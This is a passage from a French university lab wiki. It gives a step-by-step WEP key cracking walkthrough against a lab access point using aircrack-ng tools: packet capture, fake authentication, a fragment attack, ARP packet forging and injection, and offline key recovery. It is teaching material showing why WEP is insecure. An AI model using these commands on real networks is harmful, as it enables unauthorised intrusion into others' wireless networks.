 airodump-ng --encrypt wep wlan0mon
Screenshot from 2018-12-17 22-01-04 2.png

La box que nous allons attaquer s'appelle BOX_PRA. On récupère son BSSID, sa channel, et on lance la capture dans un fichier wep-*.cap : 

 airodump-ng --bssid 64:7C:34:76:CF:8C --ch 9 --write wep wlan0mon

La chose qui nous intéresse ici est le nombre de data. Plus son nombre est grand, plus nous avons de chance d'avoir les infos qui nous permetteront de décrypter la clé WEP. Un bon ordre de grandeur est autour de 20000. Malheureusement ce nombre de data n'augmente pas rapidement car le trafic est quasi nul. C'est pourquoi nous allons faire de fausses connections à labos, ce qui nous permettra d'injecter par la suite des paquets ARP : 

 aireplay-ng --fakeauth 30 -a 64:7C:34:76:CF:8C wlan0mon

Afin de générer le paquet ARP, nous allons utiliser une attaque "fragment" : 

 aireplay-ng --fragment -b 64:7C:34:76:CF:8C -r wep-01.cap wlan0mon

Si l'attaque réussit, nous pouvons voir "GET A RELAYED PACKET". Ceci nous permet de générer un keystream, qui nous sera utile pour générer le paquet ARP : 

 packetforge-ng --arp -a 64:7C:34:76:CF:8C -h EC:0E:C4:0E:FD:71 -k 192.168.1.2 -l 192.168.1.254 -y fragment-1217-222915.xor -w arp

On sait que la box est une bbox, cette dernière utilise apr défaut l'ip 192.168.1.254. On choisit arbitrairement 192.168.1.2 comme IP destinée à recevoir le paquet. On choisit aussi une MAC correcpondant à un 'client'. Notre paquet ARP est maintenant prêt, on lance l'injection : 

 aireplay-ng --arpreplay -b 64:7C:34:76:CF:8C -r arp wlan0mon

Au lancement,on remarque que le nombre de data capturées augmente significativement, pour ensuite s'arrêter lorsqu'un client régulier s'est fait déconnecter. On arrête l'injection, et on recommence quelque secondes plus tard.

Une fois le nombre de data suffisant, on lance le crack : 

 aircrack-ng wep-01.cap

Et KEY FOUND !

Screenshot from 2018-12-17 22-37-26.png

Pour conclure, on comprend bien ici pourquoi la sécurisation WEP a disparu : un réseau sécurisé avec le nombre maximum de caractères est piratable en quelque minutes, sans le moindre dictionnaire, uniquement avec des paquets récupérés. Le WPA est donc une excellente alternative au WEP.

Récupérée de « https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&oldid=48958 »